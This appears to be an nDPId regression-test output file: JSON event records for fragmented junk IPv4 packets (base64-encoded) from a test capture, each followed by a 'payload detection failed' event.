+00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7735,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":996898,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhvEAGQ\/UKAAACCoAAAkZHSEpLJl4lJCMjRVRSJVk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7735,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7736,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":996911,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhvkAGQ\/MKAAACCoAAAl5VJkkqT1B7IjpoZGZsa2Q="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7736,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7737,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":996926,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhwEAGQ\/EKAAACCoAAAmE+TDxNTkJIR0ZERVcjQCQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7737,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7738,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":996939,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhwkAGQ+8KAAACCoAAAiVeSEJHVgo0MjE0NjMxOTg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7738,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7739,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":996951,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhxEAGQ+0KAAACCoAAAjIwNTEpKComXiUkI0AjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7739,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7740,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":996964,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhxkAGQ+sKAAACCoAAAl4mKigqJl4lJCNyc2RsdWg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7740,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7741,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":996976,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhyEAGQ+kKAAACCoAAAmdrZmRzYmtudmMvLnRnZnQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7741,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00385{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7742,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":996988,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhykAGQ+cKAAACCoAAAmc\/R1I\/R1I\/c1I\/NzQ4Mzk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7742,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7743,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":997002,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhzEAGQ+UKAAACCoAAAjYpKComXiUkI0AhQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7743,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7744,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":997014,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhzkAGQ+MKAAACCoAAAiYqKCkoKiZeJSQjQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7744,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7745,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":997028,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh0EAGQ+EKAAACCoAAAiYqKComXiUkIyYqKEtJSkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7745,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7746,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":997041,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh0kAGQ98KAAACCoAAAkdGRDIqJkRGR0hKSyZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7746,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7747,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":997053,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh1EAGQ90KAAACCoAAAiMjRVRSJVleVSZJKk9QeyI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7747,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7748,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":997066,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh1kAGQ9sKAAACCoAAAjpoZGZsa2RhPkw8TU5CSEc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7748,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7749,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":997079,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh2EAGQ9kKAAACCoAAAkZERVcjQCQlXkhCR1YKNDI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7749,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7750,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":997091,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh2kAGQ9cKAAACCoAAAjE0NjMxOTgyMDUxKSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7750,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7751,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":997104,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh3EAGQ9UKAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7751,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7752,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":997116,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh3kAGQ9MKAAACCoAAAiNyc2RsdWhna2Zkc2JrbnY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7752,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7753,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":997130,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh4EAGQ9EKAAACCoAAAmMvLnRnZnRnP0dSP0dSP3M="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7753,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7754,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":997141,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh4kAGQ88KAAACCoAAAlI\/NzQ4Mzk2KSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7754,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7755,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":997152,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh5EAGQ80KAAACCoAAAkAhQCMkJV4mKigpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7755,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7756,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":997167,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh5kAGQ8sKAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7756,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7757,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":997213,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh6EAGQ8kKAAACCoAAAiYqKEtJSkhHRkQyKiZERkc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7757,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7758,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":997255,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh6kAGQ8cKAAACCoAAAkhKSyZeJSQjI0VUUiVZXlU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7758,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7759,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":997266,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh7EAGQ8UKAAACCoAAAiZJKk9QeyI6aGRmbGtkYT4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7759,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7760,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":997276,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh7kAGQ8MKAAACCoAAAkw8TU5CSEdGREVXI0AkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7760,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7761,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":997287,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh8EAGQ8EKAAACCoAAAkhCR1YKNDIxNDYzMTk4MjA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7761,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7762,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":997299,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh8kAGQ78KAAACCoAAAjUxKSgqJl4lJCNAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7762,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7763,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":997312,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh9EAGQ70KAAACCoAAAiooKiZeJSQjcnNkbHVoZ2s="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7763,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7764,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":997325,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh9kAGQ7sKAAACCoAAAmZkc2JrbnZjLy50Z2Z0Zz8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7764,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7765,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":997337,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh+EAGQ7kKAAACCoAAAkdSP0dSP3NSPzc0ODM5Nik="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7765,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7766,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":997349,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh+kAGQ7cKAAACCoAAAigqJl4lJCNAIUAjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7766,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7767,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":997363,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh\/EAGQ7UKAAACCoAAAigpKComXiUkI0AjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7767,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7768,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":997376,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh\/kAGQ7MKAAACCoAAAigqJl4lJCMmKihLSUpIR0Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7768,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7769,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":997388,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiAEAGQ7EKAAACCoAAAkQyKiZERkdISksmXiUkIyM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7769,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7770,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":997401,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiAkAGQ68KAAACCoAAAkVUUiVZXlUmSSpPUHsiOmg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7770,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7771,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":997414,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiBEAGQ60KAAACCoAAAmRmbGtkYT5MPE1OQkhHRkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7771,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7772,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":997426,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiBkAGQ6sKAAACCoAAAkVXI0AkJV5IQkdWCjQyMTQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7772,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7773,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":997439,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiCEAGQ6kKAAACCoAAAjYzMTk4MjA1MSkoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7773,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7774,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":997453,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiCkAGQ6cKAAACCoAAAiNAIyQlXiYqKComXiUkI3I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7774,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7775,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":997465,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiDEAGQ6UKAAACCoAAAnNkbHVoZ2tmZHNia252Yy8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7775,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7776,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":997478,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiDkAGQ6MKAAACCoAAAi50Z2Z0Zz9HUj9HUj9zUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7776,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 